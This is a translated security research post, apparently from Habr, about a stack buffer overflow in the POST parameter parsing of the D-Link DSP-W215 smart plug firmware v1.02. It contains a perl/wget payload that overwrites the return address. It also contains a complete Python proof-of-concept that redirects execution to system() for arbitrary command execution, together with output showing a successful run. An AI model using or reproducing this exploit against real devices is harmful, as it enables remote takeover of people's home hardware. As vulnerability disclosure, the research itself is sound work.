Pull to refresh

Взламываем D-Link DSP-W215 Smart Plug. Снова

Reading time 4 min
Views 12K
Original author: Craig
image
Недавно, D-Link выпустил прошивку v1.02 для DSP-W215, в которой исправлен баг HNAP с переполнением буфера в my_cgi.cgi. Хоть они и быстренько убрали прошивку с сайта: «Вы можете обновить прошивку через мобильное приложение», я успел ее скачать перед моим рейсом в Мюнхен, и 8-часовой перелет предоставил мне достаточно времени для качественного анализа новой версии прошивки.

К сожалению, баг с HNAP был не единственной проблемой этого устройства. Конфигурационный файл lighttpd показывает нам, что my_cgi.cgi используется для обработки некоторых страниц, а не только HNAP-запросов:
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
               "/router_info.xml" => "/www/my_cgi.cgi",
               "/post_login.xml" => "/www/my_cgi.cgi",
               "/get_shareport_info" => "/www/my_cgi.cgi",
               "/secmark1524.cgi" => "/www/my_cgi.cgi",
               "/common/info.cgi" => "/www/my_cgi.cgi"
)


Главная функция в my_cgi.cgi имеет два ветвления кода: один для обработки HNAP-запросов, а другой — для всего остального:
image

Если HTTP-запрос был не HNAP (например, /common/info.cgi) и если это был POST-запрос, то в этом случае, my_cgi.cgi получает некоторые HTTP-заголовки, в том числе и Content-Length:
image

Если Content-Length больше нуля, то вызывается функция get_input_entries, которая ответственна за чтение и парсинг POST-параметров:
image

Функция get_input_entries принимает два аргумента: указатель на структуру «entries» и размер POST-данных (т.е. Content-Length):
struct entries
{
    char name[36];      // POST paramter name
    char value[1025];   // POST parameter value
};
 
// Returns the number of POST parameters that were processed
int get_input_entries(struct *entries post_entries, int content_length);


Это несколько подозрительно, т.к. параметр передается в get_input_entries прямо из заголовка Content-Length, который был указан в HTTP-запросе, а указатель структуры указывает на локальную переменную в стеке в главной функции:
int content_length, num_entries;
struct entries my_entries[450]; // total size: 477450 bytes
 
content_length = strtol(getenv("CONTENT_LENGTH"), 10);
memset(my_entries, 0, sizeof(my_entries));
 
num_entries = get_input_entries(&my_entries, content_length);


Конечно же, get_input_entries содержит цикл с fgetc (практически такой же, который вызывал HNAP-уязвимость), который парсит POST-запрос (имена и значения) и сохраняет их в структуре «entries»:
image
Цикл fgetc

image
fgetc(stdin) внутри цикла for

image
Значение, прочитанное fgetc, сохраняется в name/value в структуре «entries»

Т.к. структура «entries», в нашем случае, является стековой переменной в main, чрезмерно длинное POST-значение вызовет переполнение стека в get_input_entries, а соответственно, и в main.

Для того, чтобы избежать падение перед возвращением в main (более подробно об этом будет в следующем посте), нам нужно выйти из функции get_input_entries как можно скорее. Проще всего это сделать, передав единственный POST-параметр «storage_path», т.к. код в get_input_entries пропускается, если этот параметр встречается:
image

Если мы посмотрим в стек main, мы увидим, что начало структуры «entries» находится на 0×74944 байт дальше от адреса возврата в стеке:
image

Из-за того, что на имена из POST-запроса отводится 36 байт в структуре, POST-значение размером 477472 (0×74944-36) байт переполнит на стеке все до сохраненного адреса возврата:
# Overwrite the saved return address with 0x41414141
perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi

image
$ra перезаписан значением 0×41414141

Теперь мы контролируем $ra, а значит можем вернуться в тот же вызов system(), который мы использовали в переполнении HNAP для того, чтобы выполнять произвольные команды:
image
вызов system() по адресу 0x00405CEC

Вот вам PoC:
#!/usr/bin/env python
 
import sys
import urllib2
 
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s/common/info.cgi" % target
 
buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "\x00\x40\x5C\xEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command
 
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()


Который отлично работает с последней версией прошивки:
./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www
Tags:
Hubs:
+41
Comments 4
Comments Comments 4

Articles